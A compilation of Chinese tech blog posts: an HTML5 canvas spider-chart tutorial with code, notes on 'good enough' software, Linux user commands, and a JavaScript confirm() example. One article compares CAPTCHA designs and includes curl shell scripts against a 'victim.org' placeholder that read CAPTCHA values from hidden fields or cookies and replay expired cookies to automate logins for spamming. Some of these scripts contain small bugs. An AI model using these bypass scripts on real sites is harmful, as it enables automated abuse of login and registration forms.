用户可选权重的HTML5六维蛛网图的实现(Tony原创)

首先,我得说一下这个功能的需求:

用户通过点击蛛网图上的点可以改变图中的绿色覆盖物的形状,这样可以通过这个蛛网图获得用户选择的维度的权重,效果图如下:

spider

接下来就是完成这个Canvas的思路了:

1. 我们首先要画5个六边形,我们必须先确定这个六边形的边长,通过边长计算出每个顶点的坐标,从而根据坐标来画出图形。画的过程中,通过canvas的fill方法,因为canvas的透明效果是叠加的,所以设置上下文中的fillStyle就可以实现每个六边形背景颜色的渐变效果了。

2. 将六边形对角的三对顶点连接起来,这样就出现了蛛网。

3. 给每个顶点都画上圆点,以每个顶点为圆心,画一个固定半径的小圆。

4. 添加绿色覆盖物,初始的时候放在每个维度都等于3的点上,然后填充颜色,添加透明效果。

5. 给canvas添加鼠标点击响应事件,通过鼠标的点击,获取鼠标当前点击的坐标,然后遍历5个六边形的所有顶点,通过计算现在点击的坐标与每个顶点之间的距离,判断是否小于等于这个小圆的半径就可以得出用户是否点击了这个小圆,如果用户点击了这个小圆,那么我们就要对整个canvas进行刷新,也可以叫做重绘,把变化的绿色覆盖物的形状画上去。

现在来说说代码,我将canvas的高度、宽度、六边形边长和小圆的半径放在顶部,方便大家配置大小。这里值得注意的是程序需要判断浏览器的类型,因为IE和firefox的offset和layer属性需要减去当前标签到浏览器左上角的距离,而谷歌和safari是不需要管这个标签的外部距离的。

demo地址:http://www.tonitech.com/demo/spider-map

以下是具体的代码:

<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>用户可选权重的HTML5六维蛛网图demo</title>
<script type='text/javascript' src='../jquery-1.8.3.min.js'></script>
</head>
<body style = "margin:100px">
<input type="text" value="" id="val" />
<script type="text/javascript">
//配置
var height = 400; //canvas的高度
var width = 400; //canvas的宽度
var edgeLength = 100; //六边形的边长
var pointRadius = 6; //小圆的半径
document.write('<canvas id="myCanvas" width="' + width + '" height="' + height + '" style="border:1px solid #c3c3c3;">');
</script>
Your browser does not support the canvas element.
</canvas>
<script type="text/javascript">
//传入canvas的宽度和高度还有六边形的边长,就可以确定一个六边形的六个点的坐标了
function getHexagonPoints(width, height, edgeLength)
{
	var paramX = edgeLength * Math.sqrt(3) / 2;
	var marginLeft = (width - 2 * paramX) / 2;
	var x5 = x6 = marginLeft;
	var x2 = x3 = marginLeft + paramX * 2;
	var x1 = x4 = marginLeft + paramX;

	var paramY = edgeLength / 2;
	var marginTop = (height - 4 * paramY) / 2;
	var y1 = marginTop;
	var y2 = y6 = marginTop + paramY;
	var y3 = y5 = marginTop + 3 * paramY;
	var y4 = marginTop + 4 * paramY;

	var points = new Array();
	points[0] = [x1, y1];
	points[1] = [x2, y2];
	points[2] = [x3, y3];
	points[3] = [x4, y4];
	points[4] = [x5, y5];
	points[5] = [x6, y6];
	return points;
}

//画六个六边形
function drawHexagon(sixParam) 
{
	for (var i = 0; i < 6; i++) {
		allPoints[i] = getHexagonPoints(width, height, sixParam - i * sixParam / 5);
		ctx.beginPath();
		ctx.fillStyle = "rgba(0,0,0,0.2)";
		ctx.moveTo(allPoints[i][5][0],allPoints[i][5][1]); //5
		for (var j = 0; j < 6; j++) {
			ctx.lineTo(allPoints[i][j][0],allPoints[i][j][1]); //1
		}
		ctx.stroke();
		ctx.closePath();
		ctx.fill();
	}
}

//画交叉的线
function drawLines() 
{
	ctx.beginPath();
	for (var i = 0; i < 3; i++) {
		ctx.moveTo(allPoints[0][i][0],allPoints[0][i][1]); //1-4
		ctx.lineTo(allPoints[0][i+3][0],allPoints[0][i+3][1]); //1-4
		ctx.stroke();
	}
	ctx.closePath();
}

//画覆盖物
function drawCover()
{
	ctx.beginPath();
	ctx.fillStyle = "rgba(50,188,125,0.5)";
	ctx.moveTo(coverPoints[5][0],coverPoints[5][1]); //5
	for (var j = 0; j < 6; j++) {
		ctx.lineTo(coverPoints[j][0],coverPoints[j][1]);
	}
	ctx.stroke();
	ctx.closePath();
	ctx.fill();
}

//描点
function drawPoints(pointRadius) 
{
	ctx.fillStyle="#808080";
	for (var i = 0; i < 5; i++) {
		for (var k = 0; k < 6; k++) {
			ctx.beginPath();
			ctx.arc(allPoints[i][k][0],allPoints[i][k][1],pointRadius,0,Math.PI*2);
			ctx.closePath();
			ctx.fill();
		}
	}
}

//判断用户点击的位置是否在小圆的范围内
function judgeRange()
{
	for (var i = 0; i < 5; i++) {
		for (var k = 0; k < 6; k++) {
			var distance = Math.sqrt((mx - allPoints[i][k][0]) * (mx - allPoints[i][k][0]) + (my - allPoints[i][k][1]) * (my - allPoints[i][k][1]));
			if (distance <= pointRadius) {
				clickPoints[k] = 5 - i;
				//将变化的值显示出来
				$('#val').val(clickPoints);
				//清空
				ctx.clearRect(0, 0, width, height);
				//重绘
				drawHexagon(edgeLength); 
				drawLines();
				//给覆盖物确定变化
				coverPoints[k] = allPoints[i][k];
				drawCover();
				drawPoints(pointRadius);
				return;
			}
		}
	}
}

var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var allPoints = [];
var clickPoints = [2, 2, 2, 2, 2, 2];
var mx,my;
drawHexagon(edgeLength); 
drawLines();
//初始化覆盖物
var coverPoints = allPoints[3];
drawCover();
drawPoints(pointRadius);
$(function(){
	//显示用户选择的权重
	$('#val').val(clickPoints);
});

this.mousedown = function(e) {
	//判断浏览器的类型,IE和firefox的offset和layer属性需要减去当前标签到浏览器左上角的距离的。
	if (isFirefox = navigator.userAgent.indexOf("Firefox") > 0 || navigator.userAgent.indexOf("MSIE") > 0) {  
		if (e.layerX || e.layerX == 0) {
			mx = e.layerX - c.offsetLeft;
			my = e.layerY - c.offsetTop;
		} else if (e.offsetX || e.offsetX == 0 ){
			mx = e.offsetX - c.offsetLeft;
			my = e.offsetY - c.offsetTop;
		}
	} else {
		if (e.layerX || e.layerX == 0) {
			mx = e.layerX;
			my = e.layerY;
		} else if (e.offsetX || e.offsetX == 0 ){
			mx = e.offsetX;
			my = e.offsetY;
		}
	}
	judgeRange();
};
c.addEventListener('mousedown', this.mousedown, false); //添加鼠标点击监听事件
</script>
</body>
</html>

PragPro的哲学(之三)

足够好的软件

     正如Ed Yourdon在《IEEE软件》上的一篇文章描述的那样,你能够训练自己写出足够好的软件,对你的用户足够好,对未来的维护者足够好,让你自己足够安心。
     在我们更加深入之前,我们需要证明我们想说的是正确的。“足够好”没有包含马虎或者差劲的代码的意思。所有的系统必须满足它们用户的需求才能算得上成功。我们仅仅倡议给用户们一个机会参与到决定什么时候你做的东西是足够好的了的过程中来。

使你的用户参与到讨论中

     你开发的系统的范围和质量应该作为系统需求的一部分被指明。

建议7

使质量成为需求的一个议题

     你通常会在涉及到权衡的情况下。出人意料地,很多的用户相对于为多功能的版本等待一年更倾向于在今天使用有一些未完善处的软件。很多资金紧张的IT部门会赞同。现在好的软件常常是在接下来完善更可取。如果你给予你的用户更早使用一些东西,他们的反馈将会带给你更好且可能的解决方案。

不要画蛇添足

     在某种程度上,编程就像是画画。你从一个空白的画布和某些基本的未加工过的材料开始。你将科学、艺术和工艺相结合来决定你要对程序做什么。你草拟了整体形状,画出底层的环境,接着勾勒出细节。你时常带着批评的眼光回去看你都做了什么。所有的现在和以后你都将抛弃画布重新开始。
     但是艺术家会告诉你所有的努力工作都会因为你不知道什么时候停止而毁灭,就像画蛇添足。如果你添加一层又一层,细节加细节,油画会将在绘画中“迷失”。
     过度修饰或者过度精炼会毁掉一个足够好的软件。继续,让你的代码在正确的位置上一段时间。它或许不够好。不要担心,这永远不可能是完美的。

网站的几种验证码方式优劣对比

所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息,输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。

存放在网页中的验证码

验证码在网页中的例子:

<?
/*
* Filename: authpage.php
* Author: hutuworm
* Date: 2003-04-28
* @Copyleft hutuworm.org
*/

srand((double)microtime()*1000000);

//验证用户输入是否和验证码一致
if(isset($HTTP_POST_VARS['authinput'])) 
{
if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)
echo "验证成功!";
else
echo "验证失败!";
}

//生成新的四位整数验证码
while(($authnum=rand()%10000)<1000); 
?>
<form action=authpage.php method=post>
<table>
请输入验证码:<input type=text name=authinput style="width: 80px"><br>
<input type=submit name="验证" value="提交验证码">
<input type=hidden name=authnum value=<? echo $authnum; ?>>
<img src=authimg.php?authnum=<? echo $authnum; ?>>
</table>
</form>

以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制:

#!/bin/sh
curl http://www.vicitm.org/authpage.php
authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到网页中的

authnum
curl http://www.vicitm.org/authpage.php -d name=hacker -d submit="验证" -d authnum=$authnum

CODE:

session_register("authnum");
$authnum = strval(rand("1111","9999"));
setcookie("authnum",$authnum);

...
<input type=text name=authnum maxlength=4><img src=get_code.php>
...

if($number != $login_check_number || empty($number))
{
print("校验码不正确!");
die();
}

存放在Cookies中的验证码

第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破:

#!/bin/sh
$username=hacker
$password=hackme
curl http://www.vicitm.org/index.php -c common_cookie # 接受服务器的初始cookies
curl http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie # 得到验证码,从cookies中
authnum=`grep authnum $username.cook | cut -f7`
curl http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用cookies中的验证码登陆

更高级的验证码

(好像本论坛的就是这种。。。。) 有一类验证码比以上两种验证码要高级一些,它使用如下算法:

1. 服务器生成一个随机hash。

2. 使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,再转化成图片。

3. hash在cookie中被发送到客户端

4. 客户以图片输入验证码,进行登录。服务器检查f(hash)=验证码。

特点:因为攻击者不明白服务器所使用的验证码编码算法,所以无法对服务器转来的hash进行直接解析。对付这种验证码,我们可以使用“过期cookies法”,方法即:保存服务器一次特定的cookies,将其对应验证码记下。在每次发送验证消息时,强行扔掉服务器传来的cookies,使用这个已被使用过的cookies以及验证码。就好比,一张电话充值卡可以用多次一样。如: 先从服务器上下载一张验证码图片:

curl http://www.victim.org/get_code.php -c cookie -o auth.png

人工阅读,得到$savecookie(cookie文件中的hash)和$authnum(验证码)。 机器人突破验证时,扔掉服务器给的hash,强制使用$savecookie和$authnum进行突破:

$savecookie=294b506f05f896dcbb3a0dde86a5e36c 
$num=7701
$username=hacker
$password=hackme

curl http://www.victim.org/index.php -c $username.cookie # 得到初始化cookies,以及session id
grep -v authhash $username.cookie > tmp.$username # 扔掉服务器给你的hash
echo "www.victim.org FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 强行使用过期hash 和验证码 
mv tmp.$username $username.cookie
curl http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d 

authnum=$num # 使用过期验证码登陆。
#登陆成功,去疯狂灌水。。。。。。

最高级的验证码

它使用如下方法:

1. 服务器通过用户相关信息(IP,SID等等)生成一个随机hash。

2. 使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字。

3. hash不再发送给客户端。它被保存到本地数据库(通常是SESSIONS,有关用户IP等信息),并由一个序列号seq所指向。(这个seq也可以是session id)

4. seq被作为cookies发送给客户端。

5. 客户以图片输入验证码。

6. 服务器验证方法:服务器并不检查f(hash)==验证码,而是去读取数据库中期望的验证码。如果用户输入与期望值相同,则验证成功。有些服务器可能还会seq与session id之间的关系进行验继续进行验证。

7. 一旦用户进行了验证操作或重新获取验证码,而是服务器将对数据库中的hash值替换成新的,老值失效过期。
特点:

×过期:由于服务器只期望保存在当前数据库中的验证码,所以无法使用“过期”的验证码(因为已被新验证码所替换)。

×高强度:只发送seq,而hash被保存在本地,所以也极难破译出f(hash)函数。

弱点:OCR(光学识别) seq劫持 “验证码”DOS(对某些seq进行反复请求,导致某些用户无法进行正常验证) 对付这种验证码我没有什么好的方法,简便的方法就是自行下载验证码,并给用户显示后登陆。这种适用只验证一次的场合。如登陆时验证。

 

原文地址: http://www.discuz.net/thread-2408019-1-1.html

Tonitech版权所有 | 转载请注明出处: http://www.tonitech.com/?p=1211

Linux查看用户信息命令whoami,who,w

你可以使用who am i来查看当前用户的标识:

[root@localhost ~]# whoami
root
Linux计算机大多数是共享的,系统可以有多个用户登录,为了查看那些用户登录了,可以使用users:
[root@localhost ~]# users
lijie root
现在是lijie和root处于登录状态。
你还可以使用who来显示用户名、终端的名称以及用户登录时间:
[root@localhost ~]# who
root     pts/0        2012-09-11 22:59 (192.168.0.101)
lijie    pts/1        2012-09-11 23:20 (192.168.0.101)

你如果想看看系统上的用户的更多信息,可以输入w,w的意思是who is doing what?下面的输出的内容:

[root@localhost ~]# w
 23:27:20 up 2 days, 56 min,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    192.168.0.101    22:59    0.00s  0.05s  0.00s w
lijie    pts/1    192.168.0.101    23:20    1.00s  0.03s  0.03s -bash
USER是当前登录系统的用户;TTY是各个用户使用的终端的名称;FROM是用户登录系统所使用的远程计算机名称,这里是IP地址;LOGIN@是用户的登录时间;IDLE是用户上一次按键后已经过去的时间;JCPU是用户自从登录后所有进程总共使用的处理器时间,J是job的意思;PCPU是当前进程所使用的处理器时间,P代表process;WHAT是当前正在运行的命令。

JavaScript confirm的应用

很多时候,在用户删除内容的情况下,网站要询问用户是否确定删除内容。这个功能的实现使用JavaScript的confirm弹出框是不错的,这个代码也比较简单,如下:

function checkDelete()

{

if (confirm("确定要删除吗?")) {

alert('删除成功!');

return true;

} else {

alert('您选择了不删除');

return false;

}

}
<a href="http://www.**.com/delete" onclick="return checkDelete()" >删除</a>

在点击这样的链接的时候会询问用户是否删除内容,如果用户点击“否”,checkDelete函数会返回false,a的click事件响应函数收到false则屏蔽链接的默认行为即删除内容,那么接下来就什么也不会发生。

Tonitech版权所有 | 转载请注明出处: http://www.tonitech.com/?p=302